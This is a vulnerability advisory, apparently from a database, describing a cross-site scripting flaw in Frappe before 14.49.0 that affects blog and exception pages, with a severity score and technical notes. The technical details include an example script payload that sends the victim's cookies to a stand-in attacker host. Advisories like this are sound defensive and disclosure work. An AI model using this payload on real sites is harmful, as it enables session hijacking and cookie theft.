Description

Frappe before 14.49.0 allows an XSS attack that is associated with blog pages and exception pages.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "6.1",
  "pubDate": "2026-09-14T07:17:15.933Z",
  "pubdate": "2026-09-14T07:17:15.933Z",
  "executiveSummary": "This vulnerability is identified as a Cross-Site Scripting (XSS) flaw affecting Frappe versions prior to 14.49.0.\nThe vulnerability resides within the application's handling of specific blog and exception pages, which fail to properly sanitize user-supplied input before rendering it in the browser.\nBy successfully injecting malicious JavaScript payloads into affected fields, an unauthenticated or authenticated attacker can execute arbitrary code within the context of a victim's session.\nThe primary impact includes potential session hijacking, unauthorized access to sensitive user data, and the execution of unauthorized actions on behalf of the victim.\nThe risk is classified as significant due to the potential for widespread exploitation, as blog pages are typically publicly accessible, requiring minimal interaction from the victim to trigger the payload.\nThe vulnerability does not require administrative privileges to initiate the attack, as it leverages the client-side execution model inherent in web browsers.",
  "technicalDetails": "The root cause of this vulnerability is the improper neutralization of input within the rendering engine for blog pages and system exception pages. In Frappe versions prior to 14.49.0, the framework fails to enforce rigorous Output Encoding or Content Security Policy (CSP) headers that would otherwise prevent the browser from executing injected script tags.\nThe attack flow begins when an attacker identifies an input parameter—typically passed via URL query strings or form submissions—that is reflected directly onto the rendered HTML of a blog post or an error exception page. By crafting a URL containing a malicious JavaScript payload (e.g., <script>fetch('https://attacker.com/'+document.cookie)</script>), the attacker can distribute this link to targeted users.\nWhen a victim visits the crafted link, the server-side component of Frappe includes the unvalidated payload in the HTTP response. Upon reaching the victim's browser, the rendering engine interprets the input as executable code rather than plain text. Because this script executes within the origin of the vulnerable application, the attacker gains full access to the Document Object Model (DOM), allowing them to read sensitive information such as session cookies, CSRF tokens, or personal user data.\nFurthermore, the vulnerability in exception pages suggests that custom error handling routines may be reflecting unsanitized request data back to the user, potentially allowing for persistent or reflected XSS if the exception occurs during a handled request. The absence of adequate input sanitization functions or the failure to utilize framework-level security escaping mechanisms permits the injection of standard XSS vectors, including event-based handlers such as 'onload' or 'onerror' in HTML elements.\nExploitation is straightforward and does not necessitate authentication, depending on the specific endpoint's public availability. Post-exploitation, an attacker can maintain persistence by modifying the DOM to inject hook scripts, redirect users to malicious domains, or perform cross-site request forgery (CSRF) by leveraging the victim's active session, effectively bypassing standard security perimeters."
}